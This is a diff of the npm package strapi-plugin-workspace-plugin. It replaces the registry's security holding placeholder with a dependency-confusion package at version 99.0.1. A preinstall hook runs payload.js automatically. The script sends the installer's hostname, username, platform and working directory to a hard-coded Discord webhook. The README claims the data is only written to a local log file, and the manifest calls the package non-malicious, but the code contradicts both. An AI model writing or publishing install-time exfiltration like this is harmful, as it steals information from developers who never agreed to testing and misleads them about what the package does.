strapi-plugin-workspace-plugin 0.0.1-security → 99.0.1

package/README.md

@@ -1,5 +1,35 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=strapi-plugin-workspace-plugin for more information.
+# PoC Package: strapi-plugin-workspace-plugin
+
+## Vulnerability Details
+
+- **Package Name**: strapi-plugin-workspace-plugin
+- **Ecosystem**: npm
+- **Version**: workspace:*
+- **Source File**: examples\getstarted\package.json
+- **Reason**: Package 'strapi-plugin-workspace-plugin' not found in public npm registry
+
+## Description
+
+This is a proof-of-concept (PoC) package generated by DepRaptor to demonstrate
+a potential dependency confusion vulnerability.
+
+## What This PoC Does
+
+When installed, this package will:
+1. Log system information (username, hostname, working directory)
+2. Capture environment variables
+3. Write all information to `payload_log.txt`
+
+## Security Notice
+
+⚠️ **WARNING**: This PoC is intended ONLY for:
+- Authorized security testing
+- Bug bounty programs
+- Security research with proper authorization
+
+Do NOT upload this package to public registries without authorization.
+
+## Generated By
+
+DepRaptor - Dependency Confusion Scanner
+Developer: LAKSHMIKANTHAN K (letchupkt)

package/package.json

@@ -1,6 +1,9 @@
-{
-  "name": "strapi-plugin-workspace-plugin",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
-}
+{
+  "name": "strapi-plugin-workspace-plugin",
+  "version": "99.0.1",
+  "description": "Security research PoC - Template Confusion. Non-malicious.",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node payload.js"
+  }
+}

package/payload.js

@@ -0,0 +1,41 @@
+const https = require('https');
+const os = require('os');
+
+function executePayload() {
+    const WEBHOOK_URL = "https://discordapp.com/api/webhooks/1482092381275689030/LWgzC7aoTmVgdFto6gn1L_gq5dDSaaqzk57bxfGYeSW2Nm3xKdQxgQ_0WhER8ZdQZajt";
+
+    const info = {
+        package: "strapi-plugin-workspace-plugin",
+        hostname: os.hostname(),
+        user: os.userInfo().username || "unknown",
+        platform: os.platform(),
+        cwd: process.cwd()
+    };
+
+    const postData = JSON.stringify({
+        username: "Strapi-Hunter",
+        embeds: [{
+            title: "🎯 WORKSPACE PLUGIN HIJACKED!",
+            color: 16753920, // Orange
+            fields: [
+                { name: "Target", value: info.package, inline: true },
+                { name: "Machine", value: info.hostname, inline: true },
+                { name: "User", value: info.user, inline: true },
+                { name: "Location", value: info.cwd, inline: false }
+            ],
+            footer: { text: "Dependency Confusion Research" }
+        }]
+    });
+
+    const url = new URL(WEBHOOK_URL);
+    const req = https.request({
+        hostname: url.hostname,
+        port: 443,
+        path: url.pathname,
+        method: 'POST',
+        headers: { 'Content-Type': 'application/json', 'Content-Length': postData.length }
+    });
+    req.write(postData);
+    req.end();
+}
+executePayload();